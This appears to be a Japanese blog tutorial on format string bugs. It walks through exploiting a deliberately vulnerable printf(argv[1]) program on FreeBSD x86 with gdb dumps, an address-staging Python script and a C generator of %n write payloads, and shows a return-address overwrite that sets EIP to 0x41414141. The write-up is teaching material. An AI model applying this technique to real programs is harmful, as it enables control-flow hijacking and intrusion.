フォーマットストリングバグ(format bug)を試してみる。
今回はフォーマットストリングバグ(format bug)について書きます。わりとマイナーな脆弱性で現在ではほとんどみないのですが、技術的に興味深いものなので知ってても損はないと思います。テスト環境はFreeBSD8.3(x86)です。
ターゲットとなるプログラムはこんな感じです。
// sample10.c #include <stdio.h> int main(int argc, char *argv[]) { printf(argv[1]); // printf("%s", argv[1]); return 0; }
本当なら(コメントにあるように)%sを使ってargv[1]を出力するのですが、それをそのままprintfに渡しています。ただ、これでも基本的には普通に動作します。
$ gcc sample10.c -o sample10 $ ./sample10 AAAA AAAA$
でもargv[1]をそのまま渡しているので、こんな感じに書くとスタックにある値が出力されます。
$ ./sample10 AAAA%x AAAAbfbfec90$
スタックにある値が出力されるだけならまだよいのですが(いやダメだけど)、そこに書き込みできたらちょっとやばいですよね。でも出来るんです! そう%nならね。
$ gdb sample10 GNU gdb 6.1.1 [FreeBSD] (gdb) disas main Dump of assembler code for function main: 0x08048440 <main+0>: lea 0x4(%esp),%ecx 0x08048444 <main+4>: and $0xfffffff0,%esp 0x08048447 <main+7>: pushl 0xfffffffc(%ecx) 0x0804844a <main+10>: push %ebp 0x0804844b <main+11>: mov %esp,%ebp 0x0804844d <main+13>: push %ecx 0x0804844e <main+14>: sub $0x4,%esp 0x08048451 <main+17>: mov 0x4(%ecx),%eax 0x08048454 <main+20>: add $0x4,%eax 0x08048457 <main+23>: mov (%eax),%eax 0x08048459 <main+25>: mov %eax,(%esp) 0x0804845c <main+28>: call 0x80482ec <_init+52> ■break 0x08048461 <main+33>: mov $0x0,%eax ■break 0x08048466 <main+38>: add $0x4,%esp 0x08048469 <main+41>: pop %ecx 0x0804846a <main+42>: pop %ebp 0x0804846b <main+43>: lea 0xfffffffc(%ecx),%esp 0x0804846e <main+46>: ret 0x0804846f <main+47>: nop End of assembler dump. (gdb) b *0x0804845c Breakpoint 1 at 0x804845c (gdb) b *0x08048461 Breakpoint 2 at 0x8048461 (gdb) r AAAA%n ■%nを引数に Starting program: /usr/home/guest/sample10 AAAA%n (no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0x0804845c in main () (gdb) x/32x $esp 0xbfbfec40: 0xbfbfedf9 ->0xbfbfec60 0xbfbfec78 0x080483c7 0xbfbfec50: 0x00000000 0x00000000 0xbfbfec78 0x080483c7 0xbfbfec60:->0x00000002 0xbfbfeca4 0xbfbfecb0 0xbfbfec90 (gdb) x/1s 0xbfbfedf9 0xbfbfedf9: "AAAA%n" (gdb) c Continuing. Breakpoint 2, 0x08048461 in main () (gdb) x/32x $esp 0xbfbfec40: 0xbfbfedf9 ->0xbfbfec60 0xbfbfec78 0x080483c7 0xbfbfec50: 0x00000000 0x00000000 0xbfbfec78 0x080483c7 0xbfbfec60:->0x00000004 0xbfbfeca4 0xbfbfecb0 0xbfbfec90 (gdb)
0xbfbfec60の値が0x00000002から0x00000004へ変わっています。%nについてはprintfの変換指定子を確認しましょう。
%n: これまでに出力された文字数を int * (または類似の型) のポインタ引き数が指す整数に保存する。
つまりprintfの第一引数0xbfbfedf9、第二引数0xbfbfec60となっており、第一引数は当然"AAAA%n"のアドレスです。第一引数には%nが入っているので第二引数(0xbfbfec60)を書き込み先アドレスと認識して、結果0xbfbfec60の値が0x00000002から0x00000004へ変わったわけです。0x00000004はこれまで出力された"AAAA"の文字数ですね。
変換指定子は%nのみだったので書き込み対象は第二引数が指す先でしたが、何番目の引数を使うかは選択できるため(12番目の引数を使いたいばあいは)%12\$nと書くことで自由に変更できます。
さて、書きかえたいのはアドレス0xbfbfec5cの値(0x080483c7)、つまりmainからのリターン先です。でもスタックには0xbfbfec5cという値そのものがないので、環境変数を使ってこの値をスタックへいれます。
#!/usr/bin/python # exploitenv.py import sys import struct #import binascii num = int(sys.argv[1], 16) i = 0 x = "" while i < 4: x += struct.pack('<L', num + i) i += 1 print x #print binascii.b2a_hex(x)
$ ADDR=AAA`python exploitenv.py bfbfec5c` $ export ADDR
先頭のAAAはサイズ調整用です。4バイト単位(アラインメント)でメモリに配置されてほしいので。
%nはこれまでに出力された文字数を数値としてメモリへ書き出しますが、じゃあ0xbfbfXXXXみたいな巨大なサイズ(GB単位)の文字列を%nの前に出力するのかという問題があるため、%nで0xbfbfXXXXみたいな数値は扱えなさそうです。そこで、4バイト一気に書き込むのではなく、1バイトずつ4回にわけて書き込むことで対応します。よって、0xbfbfec5c、0xbfbfec5d、0xbfbfec5e、0xbfbfec5fを環境変数ADDRへいれます。
$ gdb sample10 GNU gdb 6.1.1 [FreeBSD] (gdb) b main Breakpoint 1 at 0x8048440 (gdb) r AAAA Breakpoint 1, 0x08048440 in main () (gdb) x/32x $esp (省略) 0xbfbfef4c: 0x32203433 0x494c0032 0x3d53454e 0x46003533 0xbfbfef5c: 0x505f5054 0x49535341 0x4d5f4556 0x3d45444f 0xbfbfef6c: 0x00534559 0x52444441 0x4141413d ->0xbfbfec5c 0xbfbfef7c:->0xbfbfec5d ->0xbfbfec5e ->0xbfbfec5f 0x49444500
gdbから環境変数ADDRとしてさきほどいれたデータがあるのが確認できます(0xbfbfef78)。あとはこれらのアドレスに対して、1バイトずつ%nしていけばOKです。
// exploitfms.c #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char fmtstr[256]; unsigned int value[4]; unsigned long val; unsigned int offset, i; if(argc < 3){ fprintf(stderr, "Usage: %s <value> <offset>\n", argv[0]); exit(-1); } val = strtoul(argv[1], NULL, 16); offset = atoi(argv[2]); for(i=0; i < 4; i++){ value[i] = (val >> i * 8) & 0xff; } sprintf(fmtstr, "%%%dx%%%d\\$n%%%dx%%%d\\$n%%%dx%%%d\\$n%%%dx%%%d\\$n", value[0] + 0x100, offset+0, value[1] - value[0] + 0x100, offset+1, value[2] - value[1] + 0x100, offset+2, value[3] - value[2] + 0x100, offset+3); printf("%s\n", fmtstr); return 0; }
valueが書き込みたい値、offsetがprintfが呼ばれる時点での第二引数からの(距離/4)+1です。valueはとりあえず0x41414141にします。offsetは環境変数ADDRとしてセットした値があるのがアドレス0xbfbfef78、第二引数があるのがアドレス0xbfbfec40だったので、((0xbfbfef78 - 0xbfbfec40) / 4) + 1 = 207(10進数)となります。
$ gcc exploitfms.c -o exploitfms $ ./exploitfms 0x41414141 207 %321x%207\$n%256x%208\$n%256x%209\$n%256x%210\$n $ gdb sample10 GNU gdb 6.1.1 [FreeBSD] (gdb) b * 0x0804845c Breakpoint 1 at 0x804845c (gdb) r %321x%207\$n%256x%208\$n%256x%209\$n%256x%210\$n Starting program: /usr/home/guest/sample10 %321x%207\$n%256x%208\$n%256x%209\$n%256x%210\$n (no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0x0804845c in main () (gdb) x/32x $esp 0xbfbfec00: 0xbfbfedb9 ->0xbfbfec20 0xbfbfec38 0x080483c7 0xbfbfec10: 0x00000000 0x00000000 0xbfbfec38 ->0x080483c7 0xbfbfec20: 0x00000002 0xbfbfec60 0xbfbfec6c 0xbfbfec40 (省略) 0xbfbfef50: 0x494c0032 0x3d53454e 0x46003533 0x505f5054 0xbfbfef60: 0x49535341 0x4d5f4556 0x3d45444f 0x00534559 0xbfbfef70: 0x52444441 0x4141413d ->0xbfbfec5c ->0xbfbfec5d (gdb) 0xbfbfef80:->0xbfbfec5e ->0xbfbfec5f 0x49444500 0x3d524f54
引数のサイズが変わりアドレスがずれたので、もう一度再計算します。上書きしたいアドレスは0xbfbfec1c、第二引数からのoffsetは((0xbfbfef78 - 0xbfbfec04) / 4) + 1 = 222(10進数)。
$ ADDR=AAA`python exploitenv.py bfbfec1c` $ export ADDR $ ./exploitfms 0x41414141 222 %321x%222\$n%256x%223\$n%256x%224\$n%256x%225\$n $ gdb sample10 GNU gdb 6.1.1 [FreeBSD] (gdb) r %321x%222\$n%256x%223\$n%256x%224\$n%256x%225\$n Starting program: /usr/home/guest/sample10 %321x%222\$n%256x%223\$n%256x%224\$n%256x%225\$n (no debugging symbols found)...(no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i r $eip eip 0x41414141 0x41414141 (gdb)
めでたくeipを上書きできました。
以上がフォーマットストリングバグの基本となります。
フォーマットストリングバグは、バグそのものはとても単純なもので、知ってしまえばすぐに修正できます。しかし興味深いのはその攻撃方法で、printfへ渡すデータの操作を許しただけでeipを奪うところまでいけるというのは、素直に技術として面白いと感じます。そういう意味でも知っておいて損はないのではないかと思います。
あと最後にひとことだけ。
%nってExploiting以外の使い道ってあるの?